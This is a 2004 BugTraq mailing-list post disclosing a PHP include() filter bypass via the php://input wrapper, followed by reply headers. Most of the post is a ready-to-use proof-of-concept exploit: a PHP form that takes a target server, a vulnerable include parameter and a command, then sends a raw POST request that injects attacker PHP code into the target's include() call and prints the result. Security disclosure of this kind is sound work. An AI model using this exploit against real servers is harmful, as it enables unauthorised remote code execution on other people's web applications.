BugTraq
[PHP] include() bypassing filter with php://input May 27 2004 09:07AM
Himeur Nourredine (lostnoobs security-challenge com) (1 replies)


Informations :

°°°°°°°°°°°°°°

Website : http://www.php.net

Version : PHP 3.0.13 =>

Problem : Inlude() bypassing filter

Proof of concept:

°°°°°°°° Exploit °°°°°°°°°

<------------ cut here ---------------->

<form action="" methode="post" >

target server : <input type="text" name="server" ><br>

file : <input type="text" name="file" ><br>

exec : <input type="text" name="cmd" ><br>

<INPUT type="submit" value="send">

</form>

<?

if($cmd){

$message = "POST /".$file."php://input HTTP/1.1\r\n";

$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$message .= "Accept-Language: fr\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "Accept-Encoding: deflate\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";

$message .= "Host: ".$server."\r\n";

$message .= "Content-length: ".strlen( $cmd )."\r\n";

$message .= "Connection: Keep-Alive\r\n";

$message .= "Cache-Control: no-cache\r\n";

$message .= "\r\n";

$message .= $cmd."\r\n";

$fd = fsockopen( $server, 80 );

fputs($fd,$message);

while(!feof($fd)) {

echo fgets($fd,1280);

}

fclose($fd);

}

?>

<------------ cut here ---------------->

target server = "www.exemple.com"

file = "index.php?page="

exec = "<? phpinfo(); ?>"

Explaination

°°°°°°°°°°°°°°

You can bypassing filter protection who parse http:// or ftp:// ...

"php://input" allows to put data in the function include() by sending a request with code php in POST methode.

For More details :

°°°°°°°°°°°°°°

http://fr2.php.net/manual/en/wrappers.php.php

irc.fr.worldnet.net #s-c

Nourredine Himeur

www.security-challenge.com

This vulnerability was found by Slythers but he's too shy for publish the vuln ;)

greetz : mum , daddy , tcpteam , Nyx

[ reply ]
Re: [PHP] include() bypassing filter with php://input May 28 2004 04:51AM
Keary Suska (hierophant pcisys net) (1 replies)
Re: [PHP] include() bypassing filter with php://input May 28 2004 07:27PM
clez (bt_sf_com_20040528 clez net) (2 replies)
Re: [PHP] include() bypassing filter with php://input May 28 2004 10:17PM
Ali Campbell (bugtraq alicampbell org uk)
Re: [PHP] include() bypassing filter with php://input May 28 2004 08:22PM
bugtraq subscriber (bugtraq theorb net)


 

Privacy Statement
Copyright 2010, SecurityFocus